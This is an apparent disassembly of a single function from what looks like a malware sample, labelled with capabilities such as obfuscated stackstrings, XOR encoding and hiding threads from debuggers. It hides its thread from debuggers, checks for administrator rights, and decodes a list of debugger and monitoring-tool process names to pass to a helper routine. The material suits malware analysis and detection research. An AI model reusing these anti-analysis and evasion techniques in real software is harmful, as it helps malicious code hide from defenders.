Function at 0x446f30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get token membership
Hide thread from debugger

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov ecx, str.olFAGHJ.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.iF3q64.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.HWZ.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.KFsHRAceHAcJer.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.ProcesGDAcker.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.idGE22.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.FSWpFWRugger.exe
call fcn.004467a0
test al, al
jne 0x4478d0
mov ecx, str.JRndRFAenamer.exe
call fcn.004467a0
test al, al
jne 0x4478d0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0x47bcb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.NtSetInformationThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0x11
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.00446a30
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov word [ebp - 0xc], 0x500
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4478d7
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push dword [ebp - 8]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x44708d
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 4], 0
je 0x4478d7
lea ecx, [ebp - 0x12]
mov dword [ebp - 0x13], 0x61646917
mov dword [ebp - 0xf], 0x652e3436
mov word [ebp - 0xb], 0x6578
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x11], 0x6164696b
mov dword [ebp - 0xd], 0x6578652e
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x61646928
mov dword [ebp - 0x10], 0x2e343671
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
lea ecx, [ebp - 0x11]
mov dword [ebp - 0x12], 0x61646901
mov dword [ebp - 0xe], 0x78652e71
mov word [ebp - 0xa], 0x65
call fcn.004466e0
movaps xmm0, xmmword [0x488880]
xor ecx, ecx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x1d001d
mov al, byte [ebp - 0x1c]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0x12
jb 0x447127
lea ecx, [ebp - 0x1b]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x4887d0]
xor ecx, ecx
movups xmmword [ebp - 0x1d], xmm0
mov dword [ebp - 0xd], 0x372a377c
mov byte [ebp - 9], 0
mov al, byte [ebp - 0x1d]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0x13
jb 0x447158
lea ecx, [ebp - 0x1c]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x12]
mov dword [ebp - 0x13], 0x534c4d15
mov dword [ebp - 0xf], 0x652e6376
mov word [ebp - 0xb], 0x6578
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x1f
mov dword [ebp - 0x15], 0x6d7a6f1f
mov dword [ebp - 0x11], 0x71707279
xor eax, eax
mov dword [ebp - 0xd], 0x7a677a31
mov byte [ebp - 9], 0
nop
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x4471bf
mov cl, byte [ebp - 0x15]
jmp 0x4471b0
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x68
mov dword [ebp - 0x15], 0x1a0d1868
mov dword [ebp - 0x11], 0x607050e
xor eax, eax
mov dword [ebp - 0xd], 0xb1e1b46
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x4471f7
mov cl, byte [ebp - 0x15]
jmp 0x4471e8
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x4b
mov dword [ebp - 0x15], 0x24393b4b
mov dword [ebp - 0x11], 0x25242628
xor eax, eax
mov dword [ebp - 0xd], 0x2e332e65
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x44722f
mov cl, byte [ebp - 0x15]
jmp 0x447220
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [str.D_f004]
xor ecx, ecx
movups xmmword [ebp - 0x1f], xmm0
mov dword [ebp - 0xf], 0x216a7112
mov word [ebp - 0xb], 0x213c
mov byte [ebp - 9], 0
nop dword [eax]
mov al, byte [ebp - 0x1f]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x15
jb 0x447260
lea ecx, [ebp - 0x1e]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x74656e4d
mov dword [ebp - 0x10], 0x2e6e6f6d
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
lea ecx, [ebp - 0x12]
mov dword [ebp - 0x13], 0x636d6e03
mov dword [ebp - 0xf], 0x652e7061
mov word [ebp - 0xb], 0x6578
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x44
mov dword [ebp - 0x17], 0x362d3344
mov dword [ebp - 0x13], 0x252c3721
xor eax, eax
mov dword [ebp - 0xf], 0x216a2f36
mov word [ebp - 0xb], 0x213c
mov byte [ebp - 9], 0
nop dword [eax]
xor byte [ebp + eax - 0x16], cl
inc eax
cmp eax, 0xd
jae 0x4472ef
mov cl, byte [ebp - 0x17]
jmp 0x4472e0
lea ecx, [ebp - 0x16]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x34367872
mov dword [ebp - 0x10], 0x2e676264
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
movaps xmm0, xmmword [0x488870]
xor ecx, ecx
movups xmmword [ebp - 0x1b], xmm0
mov word [ebp - 0xb], 0x534e
mov byte [ebp - 9], 0
nop
mov al, byte [ebp - 0x1b]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0x11
jb 0x447330
lea ecx, [ebp - 0x1a]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x4888b0]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x78626009
mov dword [ebp - 0xc], 0x332e33
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0x16
jb 0x447364
lea ecx, [ebp - 0x1f]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x11]
mov dword [ebp - 0x12], 0x61646930
mov dword [ebp - 0xe], 0x78652e71
mov word [ebp - 0xa], 0x65
call fcn.004466e0
movaps xmm0, xmmword [0x488820]
xor ecx, ecx
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 0xe], 0x5d400b57
mov word [ebp - 0xa], 0x40
mov al, byte [ebp - 0x1e]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0x14
jb 0x4473b3
lea ecx, [ebp - 0x1d]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x726f4c21
mov dword [ebp - 0x10], 0x2e455064
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
mov cl, 0x66
mov dword [ebp - 0x15], 0x32233666
mov dword [ebp - 0x11], 0x150a0909
xor eax, eax
mov dword [ebp - 0xd], 0x31e0348
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x447415
mov cl, byte [ebp - 0x15]
jmp 0x447406
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x4888a0]
xor ecx, ecx
movups xmmword [ebp - 0x1a], xmm0
mov word [ebp - 0xa], 0x45
mov al, byte [ebp - 0x1a]
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x447434
lea ecx, [ebp - 0x19]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x488890]
xor ecx, ecx
movups xmmword [ebp - 0x1b], xmm0
mov word [ebp - 0xb], 0x5845
mov byte [ebp - 9], 0
mov al, byte [ebp - 0x1b]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0x11
jb 0x447464
lea ecx, [ebp - 0x1a]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x6e69770d
mov dword [ebp - 0x10], 0x2e676264
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
movaps xmm0, xmmword [0x4887e0]
xor ecx, ecx
movups xmmword [ebp - 0x1f], xmm0
mov dword [ebp - 0xf], 0x3b706908
mov word [ebp - 0xb], 0x3b26
mov byte [ebp - 9], 0
mov al, byte [ebp - 0x1f]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x15
jb 0x4474b8
lea ecx, [ebp - 0x1e]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x3233786f
mov dword [ebp - 0x10], 0x2e676264
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x11], 0x65696433
mov dword [ebp - 0xd], 0x6578652e
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x5b
mov dword [ebp - 0x15], 0x3737145b
mov dword [ebp - 0x11], 0x3c391f22
xor eax, eax
mov dword [ebp - 0xd], 0x3e233e75
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x447534
mov cl, byte [ebp - 0x15]
jmp 0x447525
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x58
mov dword [ebp - 0x17], 0x34341758
mov dword [ebp - 0x13], 0x3f3a1c21
xor eax, eax
mov dword [ebp - 0xf], 0x3d766a6b
mov word [ebp - 0xb], 0x3d20
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x16], cl
inc eax
cmp eax, 0xd
jae 0x447572
mov cl, byte [ebp - 0x17]
jmp 0x447563
lea ecx, [ebp - 0x16]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x7e
mov dword [ebp - 0x17], 0x1212317e
mov dword [ebp - 0x13], 0x191c3a07
xor eax, eax
mov dword [ebp - 0xf], 0x1b504a48
mov word [ebp - 0xb], 0x1b06
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x16], cl
inc eax
cmp eax, 0xd
jae 0x4475b0
mov cl, byte [ebp - 0x17]
jmp 0x4475a1
lea ecx, [ebp - 0x16]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x4887a0]
xor ecx, ecx
movups xmmword [ebp - 0x19], xmm0
mov byte [ebp - 9], 0
nop dword [eax]
mov al, byte [ebp - 0x19]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xf
jb 0x4475d0
lea ecx, [ebp - 0x18]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x43
mov dword [ebp - 0x15], 0x6e061343
mov dword [ebp - 0x11], 0x31222621
xor eax, eax
mov dword [ebp - 0xd], 0x263b266d
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x447615
mov cl, byte [ebp - 0x15]
jmp 0x447606
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x10
mov dword [ebp - 0x16], 0x77794310
mov dword [ebp - 0x12], 0x737e7572
xor eax, eax
mov dword [ebp - 0xe], 0x68753e78
mov word [ebp - 0xa], 0x75
xor byte [ebp + eax - 0x15], cl
inc eax
cmp eax, 0xc
jae 0x44764f
mov cl, byte [ebp - 0x16]
jmp 0x447640
lea ecx, [ebp - 0x15]
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x11], 0x646d631f
mov dword [ebp - 0xd], 0x6578652e
mov byte [ebp - 9], 0
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x5f76744a
mov dword [ebp - 0x10], 0x2e323377
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
lea ecx, [ebp - 0x13]
mov dword [ebp - 0x14], 0x5f767417
mov dword [ebp - 0x10], 0x2e343678
mov dword [ebp - 0xc], 0x657865
call fcn.004466e0
mov cl, 0x52
mov dword [ebp - 0x15], 0x333a1152
mov dword [ebp - 0x11], 0x21373e20
xor eax, eax
mov dword [ebp - 0xd], 0x372a377c
mov byte [ebp - 9], 0
nop dword [eax]
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x4476df
mov cl, byte [ebp - 0x15]
jmp 0x4476d0
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x68
mov dword [ebp - 0x15], 0x180b1c68
mov dword [ebp - 0x11], 0x1f0d011e
xor eax, eax
mov dword [ebp - 0xd], 0xd100d46
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x447717
mov cl, byte [ebp - 0x15]
jmp 0x447708
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x70
mov dword [ebp - 0x15], 0x14191670
mov dword [ebp - 0x11], 0x2151c14
xor eax, eax
mov dword [ebp - 0xd], 0x1508155e
mov byte [ebp - 9], 0
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x44774f
mov cl, byte [ebp - 0x15]
jmp 0x447740
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x488850]
xor ecx, ecx
movups xmmword [ebp - 0x1a], xmm0
mov word [ebp - 0xa], 0x53
nop
mov al, byte [ebp - 0x1a]
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x447770
lea ecx, [ebp - 0x19]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x488840]
xor ecx, ecx
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 0xe], 0x574a014a
mov word [ebp - 0xa], 0x4a
mov al, byte [ebp - 0x1e]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0x14
jb 0x4477a3
lea ecx, [ebp - 0x1d]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x3b
mov dword [ebp - 0x15], 0x564e5f3b
mov dword [ebp - 0x11], 0x4b5a584b
xor eax, eax
mov dword [ebp - 0xd], 0x5e435e15
mov byte [ebp - 9], 0
nop dword [eax]
xor byte [ebp + eax - 0x14], cl
inc eax
cmp eax, 0xb
jae 0x4477ef
mov cl, byte [ebp - 0x15]
jmp 0x4477e0
lea ecx, [ebp - 0x14]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x488860]
xor ecx, ecx
movups xmmword [ebp - 0x1a], xmm0
mov word [ebp - 0xa], 0x53
nop
mov al, byte [ebp - 0x1a]
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x447810
lea ecx, [ebp - 0x19]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x4887b0]
xor ecx, ecx
movups xmmword [ebp - 0x1b], xmm0
mov word [ebp - 0xb], 0x1508
mov byte [ebp - 9], 0
mov al, byte [ebp - 0x1b]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0x11
jb 0x447840
lea ecx, [ebp - 0x1a]
mov byte [ebp - 9], 0
call fcn.004466e0
movaps xmm0, xmmword [0x488790]
xor ecx, ecx
movups xmmword [ebp - 0x19], xmm0
mov byte [ebp - 9], 0
nop word [eax + eax]
mov al, byte [ebp - 0x19]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xf
jb 0x447870
lea ecx, [ebp - 0x18]
mov byte [ebp - 9], 0
call fcn.004466e0
mov cl, 0x1d
mov dword [ebp - 0x17], 0x74736e1d
mov dword [ebp - 0x13], 0x75427b7b
xor eax, eax
mov dword [ebp - 0xf], 0x78336974
mov word [ebp - 0xb], 0x7865
mov byte [ebp - 9], 0
nop dword [eax]
xor byte [ebp + eax - 0x16], cl
inc eax
cmp eax, 0xd
jae 0x4478bf
mov cl, byte [ebp - 0x17]
jmp 0x4478b0
lea ecx, [ebp - 0x16]
mov byte [ebp - 9], 0
call fcn.004466e0
pop esi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call fcn.00459b33
push 1
call fcn.00459b33
int3